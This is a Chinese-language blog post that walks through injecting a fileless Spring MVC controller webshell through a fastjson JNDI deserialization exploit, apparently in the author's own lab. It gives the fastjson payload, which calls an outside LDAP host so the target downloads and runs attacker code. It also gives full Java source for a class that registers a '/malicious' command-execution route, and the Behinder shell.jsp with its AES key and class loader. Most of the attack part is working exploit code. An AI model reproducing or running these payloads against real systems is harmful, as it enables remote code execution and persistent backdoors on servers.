針對spring mvc的controller記憶體馬-學習和實驗(注入菜刀和冰蠍可用的馬)

目錄

• 1 基礎
  • 1.1 fastjson反序列化和JNDI
  • 1.2 向spring mvc注入controller
  • 1.3 擷取request和response
  • 1.4 阻止重複添加controller (非必須)
• 2 實驗
  • 2.1 搞個spring mvc的測試環境
  • 2.2 惡意類源代碼
  • 2.3 測試
  • 2.4 注入菜刀webshell
  • 2.5 注入冰蠍代碼
    • 2.5.1 冰蠍的服務端--shell.jsp
    • 2.5.2 pageContext
    • 2.5.3 繼承ClassLoader和調用defineClass
    • 2.5.4 上冰蠍
• 參考文獻

實際上java記憶體馬的注入已經有很多方式了，我在學習中動手研究并寫了一下針對spring mvc應用的記憶體馬。一般來說實作無檔案落地的java記憶體馬注入，通常是利用反序列化漏洞，是以動手寫了一個spring mvc的後端，并直接給了一個fastjson反序列化的頁面，在假定的攻擊中，通過jndi的利用方式讓web端加載惡意類，注入controller。一切工作都是站在巨人的肩膀上，參考文章均在最後列出。

關于fastjson漏洞産生的具體原理已有很多分析文章，這裡使用的是fastjson1.24版本，poc非常簡單

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.x.x:1389/Exploit","autoCommit":true}
           

當web端使用fastjson對上面的json進行反序列化時，受到

@type

注解的訓示，會通過反射建立

com.sun.rowset.JdbcRowSetImpl

類的對象，基于fastjson的機制web端還會自動調用這個對象内部的set方法，最後觸發JdbcRowSetImpl類中的特定set方法，通路dataSourceName指定的服務端，并下載下傳執行服務端指定的class檔案，細節這裡不做更詳細的展開。

學習了listener、filter、servlet的記憶體馬後，想到看一看spring相關的記憶體馬，但沒有發現直接給出源代碼的controller型記憶體馬，是以學習并動手實作了一下(spring版本4.2.6.RELEASE)。

首先站在巨人的肩膀上，可以知道spring mvc項目運作後，仍然可以動态添加controller。普通的controller寫法如下

通過@RequestMapping注解标明url和請求方法，編譯部署後，spring會根據這個注解注冊好相應的controller。動态注入controller的核心步驟如下

public class InjectToController{
    public InjectToController(){
    // 1. 利用spring内部方法擷取context
    WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
    // 2. 從context中獲得 RequestMappingHandlerMapping 的執行個體
    RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
    // 3. 通過反射獲得自定義 controller 中的 Method 對象
    Method method2 = InjectToController.class.getMethod("test");
    // 4. 定義通路 controller 的 URL 位址
    PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
    // 5. 定義允許通路 controller 的 HTTP 方法（GET/POST）
    RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
    // 6. 在記憶體中動态注冊 controller
    RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
    InjectToController injectToController = new InjectToController("aaa");
    mappingHandlerMapping.registerMapping(info, injectToController, method2);
    }
    public void test() {
        xxx
    }
}
           

• 步驟1中的context可以了解為web端處理這個請求時，目前線程内所擁有的各種環境資訊和資源
• 步驟2中擷取的mappingHandlerMapping對象是用于注冊controller的
• 步驟3中的反射是為了獲得test這個Method對象，以便動态注冊controller時，告知接收到給定url路徑的請求後，用那個Method來處理，其中InjectToController類就是我們的惡意類
• 步驟4定義的url對象是為了指定注入url，這個url就是我們的記憶體馬路徑
• 步驟5是告知注入的url允許的請求方法
• 步驟6中RequestMappingInfo填入的資訊類似于@RequestMapping注解中的資訊，即url、允許的請求方法等。是真正注冊controller的步驟
• InjectToController這個類就是我們的惡意類，其中定義了test方法，這個方法記憶體在執行指令，當然也可以替換成冰蠍、哥斯拉的webshell核心代碼，以便使用這兩個工具。InjectToController的完整代碼在後面的章節可見

常用的jsp一句話webshell代碼如下

java.lang.Runtime.getRuntime().exec(request.getParameters("cmd"));
           

由于jsp檔案被執行時，會自動獲得了request這個資源，是以一句話木馬不需要考慮如何擷取request這個對象。但在我們注入controller的流程中，惡意java類的編譯是由攻擊者完成的，web端直接執行編譯好的class檔案，顯然不可能像上面圖檔中用注解的方式在讓test方法(InjectToController中的)的參數自帶request， 是以再一次站在巨人的肩膀上https://www.jianshu.com/p/89b0a7c11ee2 ，通過spring的内部方法擷取到request和response對象

HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();    
           

如果spring mvc項目部署在tomcat下，也可以用針對tomcat擷取requeset的方法，例如從ThreadLocal、Mbean和Thread.getCurrentThread擷取(後方參考文獻中已給出)

經過調試發現，上面擷取的mappingHandlerMapping中有一個mappingRegistry成員對象，而該對象下的urlLookup屬性儲存了已經注冊的所有url路徑，對mappingHandlerMapping進一步後發現，以上對象和屬性都是私有的，且mappingRegistry并非mappingHandlerMapping中建立的，而是來自于基類AbstractHandlerMethodMapping。

是以對AbstractHandlerMethodMapping的源碼進行了一番檢視，發現通過其getMappingRegistry方法可以擷取mappingRegistry，而urlLookup是其内部類MappingRegistry的私有屬性，可以通過反射擷取。

反射擷取urlLookup和判斷我們給定的url是否被注冊的代碼塊如下

// 擷取abstractHandlerMethodMapping對象，以便反射調用其getMappingRegistry方法
AbstractHandlerMethodMapping abstractHandlerMethodMapping = context.getBean(AbstractHandlerMethodMapping.class);
// 反射調用getMappingRegistry方法
Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
method.setAccessible(true);
Object  mappingRegistry = (Object) method.invoke(abstractHandlerMethodMapping);
// 反射擷取urlLookup屬性
Field field = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");
field.setAccessible(true);
Map urlLookup = (Map) field.get(mappingRegistry);
// 判斷我們想要注入的路徑是否被已經存在
Iterator urlIterator = urlLookup.keySet().iterator();
List<String> urls = new ArrayList();
while (urlIterator.hasNext()){
    String urlPath = (String) urlIterator.next();
    if ("/malicious".equals(urlPath)){
        System.out.println("url已存在");
        return;
    }
}
           

這裡用idea做了一個maven+spring mvc+tomcat的測試環境，友善随時換spring、fastjson和tomcat的版本。這個Web應用的功能有兩個：

• /home/postjson，可以輸入json并POST給/home/readjson
• /home/readjson，使用fastjson解析json，觸發反序列化的rce

通過JNDI注入讓服務端執行的代碼如下

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import java.util.Map;

public class InjectToController {
    // 第一個構造函數
    public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        // 1. 從目前上下文環境中獲得 RequestMappingHandlerMapping 的執行個體 bean
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        // 可選步驟，判斷url是否存在
        AbstractHandlerMethodMapping abstractHandlerMethodMapping = context.getBean(AbstractHandlerMethodMapping.class);
        Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
        method.setAccessible(true);
        Object  mappingRegistry = (Object) method.invoke(abstractHandlerMethodMapping);
        Field field = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");
        field.setAccessible(true);
        Map urlLookup = (Map) field.get(mappingRegistry);
        Iterator urlIterator = urlLookup.keySet().iterator();
        List<String> urls = new ArrayList();
        while (urlIterator.hasNext()){
            String urlPath = (String) urlIterator.next();
            if ("/malicious".equals(urlPath)){
                System.out.println("url已存在");
                return;
            }
        }
        // 可選步驟，判斷url是否存在
        // 2. 通過反射獲得自定義 controller 中test的 Method 對象
        Method method2 = InjectToController.class.getMethod("test");
        // 3. 定義通路 controller 的 URL 位址
        PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
        // 4. 定義允許通路 controller 的 HTTP 方法（GET/POST）
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        // 5. 在記憶體中動态注冊 controller
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        // 建立用于處理請求的對象，加入“aaa”參數是為了觸發第二個構造函數避免無限循環
        InjectToController injectToController = new InjectToController("aaa");
        mappingHandlerMapping.registerMapping(info, injectToController, method2);
    }
    // 第二個構造函數
    public InjectToController(String aaa) {}
	// controller指定的處理方法
    public void test() throws  IOException{
        // 擷取request和response對象
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
        // 擷取cmd參數并執行指令
        java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));
    }
}
           

• 由于fastjson反序列化時，自動下載下傳并執行編譯好的class檔案，是以要在構造函數中寫入注冊controller的步驟
• 反序列化時自動觸發的構造函數是第一個構造函數，因為沒有帶參數
• 由于registerMapping方法注冊controller時需要給一個對象和這個對象内部的處理方法，而web端隻下載下傳了InjectToController這個類，再來一次JNDI去擷取一個惡意類屬實麻煩，是以用了

  InjectToController injectToController = new InjectToController("aaa");

  ，這樣就會進入第二個構造函數，而不會進入第一個構造函數無限循環。

啟動spring mvc項目，通路/項目/malicious路徑，傳回404

使用marshalsec開一個ldap的服務，并指定/Exploit這個reference對應的路徑為192.168.x.x:8090/#InjectToController，再用python開一個web檔案伺服器

編譯InjectToController.java，将編譯好的class檔案放到python開的web檔案服務根目錄下，通路/項目/home/postjson，并送出payload

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.x.x:1389/Exploit","autoCommit":true}
           

payload送出後，會被fastjson進行反序列化，在這個過程中會觸發JdbcRowSetImpl中的connect函數，并根據給定的dataSourceName發起LDAP請求，從開啟的給定的LDAP服務端(1389端口)獲得惡意類的位址，再去下載下傳并執行惡意類(8090端口)，可以看到payload攻擊成功了

通路/malicious這個uri确定一下

隻需要找一匹穩定的jsp菜刀馬，稍加改造:

• 把菜刀馬的函數定義放在惡意類中
• 在注入的controller代碼中加入菜刀馬的判斷和執行部分(上面的test方法中)
• 注意jsp菜刀馬最後的out.print(sb.toString());改為response.getWriter().write(sb.toString());response.getWriter().flush();

首先來看看冰蠍的shell.jsp檔案，為了友善閱讀，稍作加了一些換行

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!
class U extends ClassLoader{
	U(ClassLoader c){super(c);}  //構造函數

	public Class g(byte []b){
		return super.defineClass(b,0,b.length);  // 調用父類的defineClass函數
	}
}
%>

<%
if (request.getMethod().equals("POST"))
	{
		String k="e45e329feb5d925b";
		session.putValue("u",k);
		Cipher c=Cipher.getInstance("AES");
		c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
		new U(ClassLoader.class.getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
	}
%>
           

可以看出，該jsp的核心功能有三點

• 為了友善地使用defineClass，建立了U這個類繼承ClassLoader；
• 使用java自帶的包，解密AES加密資料
• 使用defineClass加載AES解密後位元組碼，獲得一個惡意類，利用newInstance建立這個類的執行個體，并調用equals方法

shell.jsp中需要特别注意pageContext這個對象，它是jsp檔案運作過程中自帶的對象，可以擷取request/response/session這三個包含頁面資訊的重要對象，對應pageContext有getRequest/getResponse/getSession方法。學藝不精，暫時沒有找到從spring和tomcat中擷取pageContext的方法。

但是從冰蠍的作者給出的提示可以知道，冰蠍3.0 bata7之後不在依賴pageContext，見github issue

又從源碼确認了一下，在equal函數中傳入的object有request/response/session對象即可

是以注入的controller代碼中，可以将pageContext換成一個Map，手動添加key和value即可，前面的惡意類源代碼中已經給出了如何擷取request/response/session

在2.5.1中提到需要繼承ClassLoader後調用父類的defineClass，當然也可以用反射，但是這樣更友善而已。對惡意類稍加改造，繼承ClassLoader、定義新的構造函數、增加g函數、添加冰蠍的服務端代碼

特别需要注意的是紅框内的

ClassLoader.getSystemClassLoader()

，如果随意給定某個繼承自ClassLoader的類，可能會出現報錯

java.lang.LinkageError : attempted duplicate class definition for name

。這是因為需要使用getSystemClassLoader()擷取建立ClassLoader時需要添加委派父級(參考)。

https://www.anquanke.com/post/id/198886#h3-12

https://www.jianshu.com/p/89b0a7c11ee2

https://github.com/mbechler/marshalsec

https://lalajun.github.io/2019/12/30/java反序列化-fastjson/

https://github.com/rebeyond/Behinder/issues/151

https://blog.csdn.net/cumudi0723/article/details/107801362

https://github.com/rebeyond/Behinder

作者：bitterz

位址：https://www.cnblogs.com/bitterz/

本文版權歸作者和部落格園所有，歡迎轉載，轉載請标明出處。

如果您覺得本篇博文對您有所收獲，請點選右下角的 [推薦]，謝謝！